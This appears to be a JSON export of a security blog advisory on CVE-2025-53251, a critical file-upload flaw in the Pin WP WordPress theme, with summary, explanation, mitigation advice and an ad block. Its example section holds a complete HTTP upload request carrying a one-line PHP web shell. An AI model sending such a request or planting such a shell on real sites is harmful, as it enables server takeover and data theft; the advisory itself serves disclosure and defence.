{"id":64354,"date":"2025-08-27T13:39:19","date_gmt":"2025-08-27T13:39:19","guid":{"rendered":""},"modified":"2025-09-16T12:32:17","modified_gmt":"2025-09-16T18:32:17","slug":"cve-2025-53251-unrestricted-file-upload-vulnerability-in-an-themes-pin-wp","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53251-unrestricted-file-upload-vulnerability-in-an-themes-pin-wp\/","title":{"rendered":"<strong>CVE-2025-53251: Unrestricted File Upload Vulnerability in An-Themes Pin WP<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity community has recently identified a critical vulnerability, CVE-2025-53251, affecting the An-Themes Pin WP theme. This vulnerability allows unrestricted upload of files with dangerous types, enabling potential attackers to upload a web shell to a web server. The severity of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33075-a-critical-windows-installer-vulnerability-that-leads-to-privilege-elevation\/\"  data-wpil-monitor-id=\"72414\">vulnerability lies in its potential to lead<\/a> to system compromise or significant data leakage. Therefore, it is crucial to understand its workings, potential impacts, and mitigation strategies for all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83314\">users of Pin WP theme<\/a> versions before 7.2.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53251<br \/>\nSeverity: Critical (CVSS: 9.9)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53495-unauthorized-access-data-leakage-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72638\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2884458707\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>An-Themes Pin WP | Before 7.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74535\">file upload vulnerability<\/a> in the An-Themes Pin WP theme. Attackers can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48148-unrestricted-file-upload-vulnerability-in-storekeeper-b-v-for-woocommerce\/\"  data-wpil-monitor-id=\"74962\">upload a harmful file<\/a>, such as a web shell, to the server. A web shell is a script that can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74662\">uploaded<\/a> to a web server to enable remote administration of the machine. This gives the attacker the ability to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27577-arbitrary-code-execution-in-openharmony-via-race-condition-vulnerability\/\"  data-wpil-monitor-id=\"76247\">execute arbitrary<\/a> commands and steal data, or use the server to launch attacks on other targets.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1604888339\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/themes\/pin-wp\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is uploading a PHP shell script named &#8220;shell.php&#8221; that allows them to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55345-arbitrary-file-overwrite-and-remote-code-execution-vulnerability-in-codex-cli\/\"  data-wpil-monitor-id=\"76793\">execute arbitrary<\/a> system commands.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users affected by this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43588-out-of-bounds-write-vulnerability-in-substance3d-sampler-versions-5-0-and-earlier\/\"  data-wpil-monitor-id=\"73476\">vulnerability are strongly advised to update to the latest version<\/a> of An-Themes Pin WP theme as soon as possible. If immediate patching is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These tools can detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76518\">block attempts to exploit this vulnerability<\/a>. However, they should not be considered a long-term <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52376-authentication-bypass-vulnerability-in-nexxt-solutions-ncm-x1800-mesh-router\/\"  data-wpil-monitor-id=\"75447\">solution as they do not remove the underlying vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity community has recently identified a critical vulnerability, CVE-2025-53251, affecting the An-Themes Pin WP theme. This vulnerability allows unrestricted upload of files with dangerous types, enabling potential attackers to upload a web shell to a web server. The severity of this vulnerability lies in its potential to lead to system compromise or significant [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64354","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64354","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64354"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64354\/revisions"}],"predecessor-version":[{"id":75855,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64354\/revisions\/75855"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64354"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64354"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64354"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64354"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64354"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64354"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64354"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}